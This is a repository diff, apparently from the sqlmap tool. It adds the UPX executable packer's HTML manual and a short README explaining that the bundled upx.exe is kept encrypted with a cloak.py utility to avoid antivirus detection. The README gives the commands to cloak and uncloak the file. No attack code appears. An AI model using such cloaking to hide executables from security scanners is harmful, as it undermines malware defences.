+      * bvmlinuz/386    [bootable Linux kernel]
+      * djgpp2/coff
+      * dos/com
+      * dos/exe
+      * dos/sys
+      * linux/386
+      * linux/elf386
+      * linux/sh386
+      * ps1/exe
+      * rtm32/pe
+      * tmt/adam
+      * vmlinuz/386     [bootable Linux kernel]
+      * vmlinux/386
+      * watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
+      * win32/pe (exe and dll)
+      * arm/pe (exe and dll)
+      * linux/elfamd64
+      * linux/elfppc32
+      * mach/elfppc32</pre>
+<pre>
+  - portable: UPX is written in portable endian-neutral C++</pre>
+<pre>
+  - extendable: because of the class layout it's very easy to support
+      new executable formats or add new compression algorithms</pre>
+<pre>
+  - free: UPX can be distributed and used freely. And from version 0.99
+      the full source code of UPX is released under the GNU General Public
+      License (GPL) !</pre>
+<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
+executable packer.</p>
+<p>
+</p>
+<hr />
+<h1><a name="commands">COMMANDS</a></h1>
+<p>
+</p>
+<h2><a name="compress">Compress</a></h2>
+<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
+specified on the command line.</p>
+<p>
+</p>
+<h2><a name="decompress">Decompress</a></h2>
+<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
+<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
+<p>
+</p>
+<h2><a name="test">Test</a></h2>
+<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
+data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
+decompressed. Note, that this command doesn't check the whole file, only
+the part that will be uncompressed during program execution. This means
+that you should not use this command instead of a virus checker.</p>
+<p>
+</p>
+<h2><a name="list">List</a></h2>
+<p>The <strong>-l</strong> command prints out some information about the compressed files
+specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
+shows the compressed / uncompressed size and the compression ratio of
+<em>yourfile.exe</em>.</p>
+<p>
+</p>
+<hr />
+<h1><a name="options">OPTIONS</a></h1>
+<p><strong>-q</strong>: be quiet, suppress warnings</p>
+<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
+<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
+<p><strong>--help</strong>: prints the help</p>
+<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
+<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
+after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
+not supported for all formats yet. If you do care, as a workaround you can
+compress and then decompress your program a first time - any further
+compress-decompress steps should then yield byte-identical results
+as compared to the first decompressed version.]</p>
+<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
+<p>
+</p>
+<hr />
+<h1><a name="compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></h1>
+<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
+and <strong>--best</strong>.  The default compression level is <strong>-8</strong> for files
+smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
+<ul>
+<li>
+<p>Compression levels 1, 2 and 3 are pretty fast.</p>
+</li>
+<li>
+<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
+</li>
+<li>
+<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
+</li>
+<li>
+<p>Compression level <strong>--best</strong> may take a long time.</p>
+</li>
+</ul>
+<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
+files, but you definitely should use it when releasing a final version
+of your program.</p>
+<p>Quick info for achieving the best compression ratio:</p>
+<ul>
+<li>
+<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
+</li>
+<li>
+<p>Try if <strong>--overlay=strip</strong> works.</p>
+</li>
+<li>
+<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
+</li>
+</ul>
+<p>
+</p>
+<hr />
+<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
+<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
+an executable, and it often contains application specific data
+(this is a common practice to avoid an extra data file, though
+it would be better to use resource sections).</p>
+<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
+copies the overlay after the compressed image. This works with some
+files, but doesn't work with others, depending on how an application
+actually accesses this overlayed data.</p>
+<pre>
+  --overlay=copy    Copy any extra data attached to the file. [DEFAULT]</pre>
+<pre>
+  --overlay=strip   Strip any overlay from the program instead of
+                    copying it. Be warned, this may make the compressed
+                    program crash or otherwise unusable.</pre>
+<pre>
+  --overlay=skip    Refuse to compress any program which has an overlay.</pre>
+<p>
+</p>
+<hr />
+<h1><a name="environment">ENVIRONMENT</a></h1>
+<p>The environment variable <strong>UPX</strong> can hold a set of default
+options for <strong>UPX</strong>. These options are interpreted first and
+can be overwritten by explicit command line parameters.
+For example:</p>
+<pre>
+    for DOS/Windows:   set UPX=-9 --compress-icons#0
+    for sh/ksh/zsh:    UPX=&quot;-9 --compress-icons=0&quot;; export UPX
+    for csh/tcsh:      setenv UPX &quot;-9 --compress-icons=0&quot;</pre>
+<p>Under DOS/Windows you must use '#' instead of '=' when setting the
+environment variable because of a COMMAND.COM limitation.</p>
+<p>Not all of the options are valid in the environment variable -
+<strong>UPX</strong> will tell you.</p>
+<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
+environment variable.</p>
+<p>
+</p>
+<hr />
+<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
+<p>
+</p>
+<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
+<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
+based personal computer which was popular in the late '80s. Support
+of this format is only because of nostalgic feelings of one of
+the authors and serves no practical purpose :-).
+See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.
+All debug information will be stripped, though.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
+<p>Same as vmlinuz/i386.</p>
+<p>
+</p>
+<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
+<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
+themselves (like some commandline utilities that ship with Win95/98/ME).</p>
+<p>Compressed programs only work on a 286+.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.</p>
+<p>Maximum uncompressed size: ~65100 bytes.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --8086              Create an executable that works on any 8086 CPU.</pre>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
+<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
+<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
+themselves (like some command line utilities that ship with Win95/98/ME).</p>
+<p>Compressed programs only work on a 286+.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --8086              Create an executable that works on any 8086 CPU.</pre>
+<pre>
+  --no-reloc          Use no relocation records in the exe header.</pre>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
+<p>Compressed programs only work on a 286+.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.</p>
+<p>Maximum uncompressed size: ~65350 bytes.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --8086              Create an executable that works on any 8086 CPU.</pre>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
+<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
+the very bad habit of replacing your stub with its own (outdated) version.
+Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
+will fix the 4 KiB alignment of the stub.</p>
+<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
+automatically stubify your COFF files. Use the option <strong>--coff</strong> to
+disable this functionality (see below).</p>
+<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
+<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.
+All debug information and trailing garbage will be stripped, though.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --coff              Produce COFF output instead of EXE. By default
+                      UPX keeps your current stub.</pre>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
+<p>Introduction</p>
+<pre>
+  Linux/386 support in UPX consists of 3 different executable formats,
+  one optimized for ELF executables (&quot;linux/elf386&quot;), one optimized
+  for shell scripts (&quot;linux/sh386&quot;), and one generic format
+  (&quot;linux/386&quot;).</pre>
+<pre>
+  We will start with a general discussion first, but please
+  also read the relevant docs for each of the individual formats.</pre>
+<pre>
+  Also, there is special support for bootable kernels - see the
+  description of the vmlinuz/386 format.</pre>
+<p>General user's overview</p>
+<pre>
+  Running a compressed executable program trades less space on a
+  ``permanent'' storage medium (such as a hard disk, floppy disk,
+  CD-ROM, flash memory, EPROM, etc.) for more space in one or more
+  ``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
+  Running a compressed executable also requires some additional CPU
+  cycles to generate the compressed executable in the first place,
+  and to decompress it at each invocation.</pre>
+<pre>
+  How much space is traded?  It depends on the executable, but many
+  programs save 30% to 50% of permanent disk space.  How much CPU
+  overhead is there?  Again, it depends on the executable, but
+  decompression speed generally is at least many megabytes per second,
+  and frequently is limited by the speed of the underlying disk
+  or network I/O.</pre>
+<pre>
+  Depending on the statistics of usage and access, and the relative
+  speeds of CPU, RAM, swap space, /tmp, and file system storage, then
+  invoking and running a compressed executable can be faster than
+  directly running the corresponding uncompressed program.
+  The operating system might perform fewer expensive I/O operations
+  to invoke the compressed program.  Paging to or from swap space
+  or /tmp might be faster than paging from the general file system.
+  ``Medium-sized'' programs which access about 1/3 to 1/2 of their
+  stored program bytes can do particularly well with compression.
+  Small programs tend not to benefit as much because the absolute
+  savings is less.  Big programs tend not to benefit proportionally
+  because each invocation may use only a small fraction of the program,
+  yet UPX decompresses the entire program before invoking it.
+  But in environments where disk or flash memory storage is limited,
+  then compression may win anyway.</pre>
+<pre>
+  Currently, executables compressed by UPX do not share RAM at runtime
+  in the way that executables mapped from a file system do.  As a
+  result, if the same program is run simultaneously by more than one
+  process, then using the compressed version will require more RAM and/or
+  swap space.  So, shell programs (bash, csh, etc.)  and ``make''
+  might not be good candidates for compression.</pre>
+<pre>
+  UPX recognizes three executable formats for Linux: Linux/elf386,
+  Linux/sh386, and Linux/386.  Linux/386 is the most generic format;
+  it accommodates any file that can be executed.  At runtime, the UPX
+  decompression stub re-creates in /tmp a copy of the original file,
+  and then the copy is (re-)executed with the same arguments.
+  ELF binary executables prefer the Linux/elf386 format by default,
+  because UPX decompresses them directly into RAM, uses only one
+  exec, does not use space in /tmp, and does not use /proc.
+  Shell scripts where the underlying shell accepts a ``-c'' argument
+  can use the Linux/sh386 format.  UPX decompresses the shell script
+  into low memory, then maps the shell and passes the entire text of the
+  script as an argument with a leading ``-c''.</pre>
+<p>General benefits:</p>
+<pre>
+  - UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
+    libc6, Shell/Perl/Python/... scripts, standalone Java .class
+    binaries, or whatever...
+    All scripts and programs will work just as before.</pre>
+<pre>
+  - Compressed programs are completely self-contained. No need for
+    any external program.</pre>
+<pre>
+  - UPX keeps your original program untouched. This means that
+    after decompression you will have a byte-identical version,
+    and you can use UPX as a file compressor just like gzip.
+    [ Note that UPX maintains a checksum of the file internally,
+      so it is indeed a reliable alternative. ]</pre>
+<pre>
+  - As the stub only uses syscalls and isn't linked against libc it
+    should run under any Linux configuration that can run ELF
+    binaries.</pre>
+<pre>
+  - For the same reason compressed executables should run under
+    FreeBSD and other systems which can run Linux binaries.
+    [ Please send feedback on this topic ]</pre>
+<p>General drawbacks:</p>
+<pre>
+  - It is not advisable to compress programs which usually have many
+    instances running (like `sh' or `make') because the common segments of
+    compressed programs won't be shared any longer between different
+    processes.</pre>
+<pre>
+  - `ldd' and `size' won't show anything useful because all they
+    see is the statically linked stub.  Since version 0.82 the section
+    headers are stripped from the UPX stub and `size' doesn't even
+    recognize the file format.  The file patches/patch-elfcode.h has a
+    patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
+<p>General notes:</p>
+<pre>
+  - As UPX leaves your original program untouched it is advantageous
+    to strip it before compression.</pre>
+<pre>
+  - If you compress a script you will lose platform independence -
+    this could be a problem if you are using NFS mounted disks.</pre>
+<pre>
+  - Compression of suid, guid and sticky-bit programs is rejected
+    because of possible security implications.</pre>
+<pre>
+  - For the same reason there is no sense in making any compressed
+    program suid.</pre>
+<pre>
+  - Obviously UPX won't work with executables that want to read data
+    from themselves. E.g., this might be a problem for Perl scripts
+    which access their __DATA__ lines.</pre>
+<pre>
+  - In case of internal errors the stub will abort with exitcode 127.
+    Typical reasons for this to happen are that the program has somehow
+    been modified after compression.
+    Running `strace -o strace.log compressed_file' will tell you more.</pre>
+<p>
+</p>
+<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
+<p>Please read the general Linux description first.</p>
+<p>The linux/elf386 format decompresses directly into RAM,
+uses only one exec, does not use space in /tmp,
+and does not use /proc.</p>
+<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.</p>
+<p>How it works:</p>
+<pre>
+  For ELF executables, UPX decompresses directly to memory, simulating
+  the mapping that the operating system kernel uses during exec(),
+  including the PT_INTERP program interpreter (if any).
+  The brk() is set by a special PT_LOAD segment in the compressed
+  executable itself.  UPX then wipes the stack clean except for
+  arguments, environment variables, and Elf_auxv entries (this is
+  required by bugs in the startup code of /lib/ld-linux.so as of
+  May 2000), and transfers control to the program interpreter or
+  the e_entry address of the original executable.</pre>
+<pre>
+  The UPX stub is about 1700 bytes long, partly written in assembler
+  and only uses kernel syscalls. It is not linked against any libc.</pre>
+<p>Specific drawbacks:</p>
+<pre>
+  - For linux/elf386 and linux/sh386 formats, you will be relying on
+    RAM and swap space to hold all of the decompressed program during
+    the lifetime of the process.  If you already use most of your swap
+    space, then you may run out.  A system that is &quot;out of memory&quot;
+    can become fragile.  Many programs do not react gracefully when
+    malloc() returns 0.  With newer Linux kernels, the kernel
+    may decide to kill some processes to regain memory, and you
+    may not like the kernel's choice of which to kill.  Running
+    /usr/bin/top is one way to check on the usage of swap space.</pre>
+<p>Extra options available for this executable format:</p>
+<pre>
+  (none)</pre>
+<p>
+</p>
+<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
+<p>Please read the general Linux description first.</p>
+<p>Shell scripts where the underling shell accepts a ``-c'' argument
+can use the Linux/sh386 format.  <strong>UPX</strong> decompresses the shell script
+into low memory, then maps the shell and passes the entire text of the
+script as an argument with a leading ``-c''.
+It does not use space in /tmp, and does not use /proc.</p>
+<p>Linux/sh386 is automatically selected for shell scripts that
+use a known shell.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.</p>
+<p>How it works:</p>
+<pre>
+  For shell script executables (files beginning with &quot;#!/&quot; or &quot;#! /&quot;)
+  where the shell is known to accept &quot;-c &lt;command&gt;&quot;, UPX decompresses
+  the file into low memory, then maps the shell (and its PT_INTERP),
+  and passes control to the shell with the entire decompressed file
+  as the argument after &quot;-c&quot;.  Known shells are sh, ash, bash, bsh, csh,
+  ksh, tcsh, pdksh.  Restriction: UPX cannot use this method
+  for shell scripts which use the one optional string argument after
+  the shell name in the script (example: &quot;#! /bin/sh option3\n&quot;.)</pre>
+<pre>
+  The UPX stub is about 1700 bytes long, partly written in assembler
+  and only uses kernel syscalls. It is not linked against any libc.</pre>
+<p>Specific drawbacks:</p>
+<pre>
+  - For linux/elf386 and linux/sh386 formats, you will be relying on
+    RAM and swap space to hold all of the decompressed program during
+    the lifetime of the process.  If you already use most of your swap
+    space, then you may run out.  A system that is &quot;out of memory&quot;
+    can become fragile.  Many programs do not react gracefully when
+    malloc() returns 0.  With newer Linux kernels, the kernel
+    may decide to kill some processes to regain memory, and you
+    may not like the kernel's choice of which to kill.  Running
+    /usr/bin/top is one way to check on the usage of swap space.</pre>
+<p>Extra options available for this executable format:</p>
+<pre>
+  (none)</pre>
+<p>
+</p>
+<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
+<p>Please read the general Linux description first.</p>
+<p>The generic linux/386 format decompresses to /tmp and needs
+/proc file system support. It starts the decompressed program
+via the <code>execve()</code> syscall.</p>
+<p>Linux/386 is only selected if the specialized linux/elf386
+and linux/sh386 won't recognize a file.</p>
+<p>Packed programs will be byte-identical to the original after uncompression.</p>
+<p>How it works:</p>
+<pre>
+  For files which are not ELF and not a script for a known &quot;-c&quot; shell,
+  UPX uses kernel execve(), which first requires decompressing to a
+  temporary file in the file system.  Interestingly -
+  because of the good memory management of the Linux kernel - this
+  often does not introduce a noticeable delay, and in fact there
+  will be no disk access at all if you have enough free memory as
+  the entire process takes places within the file system buffers.</pre>
+<pre>
+  A compressed executable consists of the UPX stub and an overlay
+  which contains the original program in a compressed form.</pre>
+<pre>
+  The UPX stub is a statically linked ELF executable and does
+  the following at program startup:</pre>
+<pre>
+    1) decompress the overlay to a temporary location in /tmp
+    2) open the temporary file for reading
+    3) try to delete the temporary file and start (execve)
+       the uncompressed program in /tmp using /proc/&lt;pid&gt;/fd/X as
+       attained by step 2)
+    4) if that fails, fork off a subprocess to clean up and
+       start the program in /tmp in the meantime</pre>
+<pre>
+  The UPX stub is about 1700 bytes long, partly written in assembler
+  and only uses kernel syscalls. It is not linked against any libc.</pre>
+<p>Specific drawbacks:</p>
+<pre>
+  - You need additional free disk space for the uncompressed program
+    in your /tmp directory. This program is deleted immediately after
+    decompression, but you still need it for the full execution time
+    of the program.</pre>
+<pre>
+  - You must have /proc file system support as the stub wants to open
+    /proc/&lt;pid&gt;/exe and needs /proc/&lt;pid&gt;/fd/X. This also means that you
+    cannot compress programs that are used during the boot sequence
+    before /proc is mounted.</pre>
+<pre>
+  - Utilities like `top' will display numerical values in the process
+    name field. This is because Linux computes the process name from
+    the first argument of the last execve syscall (which is typically
+    something like /proc/&lt;pid&gt;/fd/3).</pre>
+<pre>
+  - Because of temporary decompression to disk the decompression speed
+    is not as fast as with the other executable formats. Still, I can see
+    no noticeable delay when starting programs like my ~3 MiB emacs (which
+    is less than 1 MiB when compressed :-).</pre>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --force-execve      Force the use of the generic linux/386 &quot;execve&quot;
+                      format, i.e. do not try the linux/elf386 and
+                      linux/sh386 formats.</pre>
+<p>
+</p>
+<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
+<p>This is the executable format used by the Sony PlayStation (PSone),
+a Mips R3000 based gaming console which is popular since the late '90s.
+Support of this format is very similar to the Atari one, because of
+nostalgic feelings of one of the authors.</p>
+<p>Packed programs will be byte-identical to the original after uncompression,
+until further notice.</p>
+<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
+<p>Notes:</p>
+<pre>
+  - UPX creates as default a suitable executable for CD-Mastering
+    and console transfer. For a CD-Master main executable you could also try
+    the special option &quot;--boot-only&quot; as described below.
+    It has been reported that upx packed executables are fully compatible with
+    the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
+    Sony PlayStation (PSone) emulation mode.</pre>
+<pre>
+  - Normally the packed files use the same memory areas like the uncompressed
+    versions, so they will not override other memory areas while unpacking.
+    If this isn't possible UPX will abort showing a 'packed data overlap'
+    error. With the &quot;--force&quot; option UPX will relocate the loading address
+    for the packed file, but this isn't a real problem if it is a single or
+    the main executable.</pre>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --8-bit             Uses 8 bit size compression [default: 32 bit]</pre>
+<pre>
+  --8mib-ram          PSone has 8 MiB ram available [default: 2 MiB]</pre>
+<pre>
+  --boot-only         This format is for main exes and CD-Mastering only !
+                      It may slightly improve the compression ratio,
+                      decompression routines are faster than default ones.
+                      But it cannot be used for console transfer !</pre>
+<pre>
+  --no-align          This option disables CD mode 2 data sector format
+                      alignment. May slightly improves the compression ratio,
+                      but the compressed executable will not boot from a CD.
+                      Use it for console transfer only !</pre>
+<p>
+</p>
+<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
+<p>Same as win32/pe.</p>
+<p>
+</p>
+<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
+<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
+<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
+bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
+gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
+<p>vmlinuz/386 is completely unrelated to the other Linux executable
+formats, and it does not share any of their drawbacks.</p>
+<p>Notes:</p>
+<pre>
+  - Be sure that &quot;vmlinuz/386&quot; or &quot;bvmlinuz/386&quot; is displayed
+  during compression - otherwise a wrong executable format
+  may have been used, and the kernel won't boot.</pre>
+<p>Benefits:</p>
+<pre>
+  - Better compression (but note that the kernel was already compressed,
+  so the improvement is not as large as with other formats).
+  Still, the bytes saved may be essential for special needs like
+  boot disks.</pre>
+<pre>
+     For example, this is what I get for my 2.2.16 kernel:
+        1589708  vmlinux
+         641073  bzImage        [original]
+         560755  bzImage.upx    [compressed by &quot;upx -9&quot;]</pre>
+<pre>
+  - Much faster decompression at kernel boot time (but kernel
+    decompression speed is not really an issue these days).</pre>
+<p>Drawbacks:</p>
+<pre>
+  (none)</pre>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
+<p><strong>UPX</strong> has been successfully tested with the following extenders:
+  DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
+  The WDOS/X extender is partly supported (for details
+  see the file bugs BUGS).</p>
+<p>DLLs and the LX format are not supported.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+  --le                Produce an unbound LE output instead of
+                      keeping the current stub.</pre>
+<p>
+</p>
+<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
+<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
+still some incompatibilities with some files.</p>
+<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
+can see increased memory usage of your compressed files because the whole
+program is loaded into memory at startup.
+If you start several instances of huge compressed programs you're
+wasting memory because the common segments of the program won't
+get shared across the instances.
+On the other hand if you're compressing only smaller programs, or
+running only one instance of larger programs, then this penalty is
+smaller, but it's still there.</p>
+<p>If you're running executables from network, then compressed programs
+will load faster, and require less bandwidth during execution.</p>
+<p>DLLs are supported. But UPX compressed DLLs can not share common data and
+code when they got used by multiple applications. So compressing msvcrt.dll
+is a waste of memory, but compressing the dll plugins of a particular
+application may be a better idea.</p>
+<p>Screensavers are supported, with the restriction that the filename
+must end with ``.scr'' (as screensavers are handled slightly different
+than normal exe files).</p>
+<p>UPX compressed PE files have some minor memory overhead (usually in the
+10 - 30 KiB range) which can be seen by specifying the ``-i'' command
+line switch during compression.</p>
+<p>Extra options available for this executable format:</p>
+<pre>
+ --compress-exports=0 Don't compress the export section.
+                      Use this if you plan to run the compressed
+                      program under Wine.
+ --compress-exports=1 Compress the export section. [DEFAULT]
+                      Compression of the export section can improve the
+                      compression ratio quite a bit but may not work
+                      with all programs (like winword.exe).
+                      UPX never compresses the export section of a DLL
+                      regardless of this option.</pre>
+<pre>
+  --compress-icons=0  Don't compress any icons.
+  --compress-icons=1  Compress all but the first icon.
+  --compress-icons=2  Compress all icons which are not in the
+                      first icon directory. [DEFAULT]
+  --compress-icons=3  Compress all icons.</pre>
+<pre>
+  --compress-resources=0  Don't compress any resources at all.</pre>
+<pre>
+  --keep-resource=list Don't compress resources specified by the list.
+                      The members of the list are separated by commas.
+                      A list member has the following format: I&lt;type[/name]&gt;.
+                      I&lt;Type&gt; is the type of the resource. Standard types
+                      must be specified as decimal numbers, user types can be
+                      specified by decimal IDs or strings. I&lt;Name&gt; is the
+                      identifier of the resource. It can be a decimal number
+                      or a string. For example:</pre>
+<pre>
+                      --keep-resource=2/MYBITMAP,5,6/12345</pre>
+<pre>
+                      UPX won't compress the named bitmap resource &quot;MYBITMAP&quot;,
+                      it leaves every dialog (5) resource uncompressed, and
+                      it won't touch the string table resource with identifier
+                      12345.</pre>
+<pre>
+  --force             Force compression even when there is an
+                      unexpected value in a header field.
+                      Use with care.</pre>
+<pre>
+  --strip-relocs=0    Don't strip relocation records.
+  --strip-relocs=1    Strip relocation records. [DEFAULT]
+                      This option only works on executables with base
+                      address greater or equal to 0x400000. Usually the
+                      compressed files becomes smaller, but some files
+                      may become larger. Note that the resulting file will
+                      not work under Windows 3.x (Win32s).
+                      UPX never strips relocations from a DLL
+                      regardless of this option.</pre>
+<pre>
+  --all-methods       Compress the program several times, using all
+                      available compression methods. This may improve
+                      the compression ratio in some cases, but usually
+                      the default method gives the best results anyway.</pre>
+<pre>
+  --all-filters       Compress the program several times, using all
+                      available preprocessing filters. This may improve
+                      the compression ratio in some cases, but usually
+                      the default filter gives the best results anyway.</pre>
+<p>
+</p>
+<hr />
+<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
+<p>Exit status is normally 0; if an error occurs, exit status
+is 1. If a warning occurs, exit status is 2.</p>
+<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
+<p>
+</p>
+<hr />
+<h1><a name="bugs">BUGS</a></h1>
+<p>Please report all bugs immediately to the authors.</p>
+<p>
+</p>
+<hr />
+<h1><a name="authors">AUTHORS</a></h1>
+<pre>
+ Markus F.X.J. Oberhumer &lt;[email protected]&gt;
+ <a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
+<pre>
+ Laszlo Molnar &lt;[email protected]&gt;</pre>
+<pre>
+ John F. Reiser &lt;[email protected]&gt;</pre>
+<pre>
+ Jens Medoch &lt;[email protected]&gt;</pre>
+<p>
+</p>
+<hr />
+<h1><a name="copyright">COPYRIGHT</a></h1>
+<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
+<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
+<p>Copyright (C) 2000-2008 John F. Reiser</p>
+<p>Copyright (C) 2002-2008 Jens Medoch</p>
+<p>This program may be used freely, and you are welcome to
+redistribute it under certain conditions.</p>
+<p>This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+<strong>UPX License Agreement</strong> for more details.</p>
+<p>You should have received a copy of the UPX License Agreement along
+with this program; see the file LICENSE. If not, visit the UPX home page.</p>
+
+</body>
+
+</html>

lib/contrib/upx/windows/README.txt

@@ -0,0 +1,11 @@
+Due to the anti-virus positive detection of executable stored inside this
+folder,  we needed to somehow circumvent this. As from the plain sqlmap
+users perspective nothing has to be done prior to its usage by sqlmap, but
+if you want to have access to the original executable use the decrypt
+functionality of the ../../../../extra/cloak/cloak.py utility.
+
+To prepare the executable to the cloaked form use this command:
+python ../../../../extra/cloak/cloak.py -i upx.exe
+
+To get back the original executable use this:
+python ../../../../extra/cloak/cloak.py -d -i upx.exe_

lib/controller/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
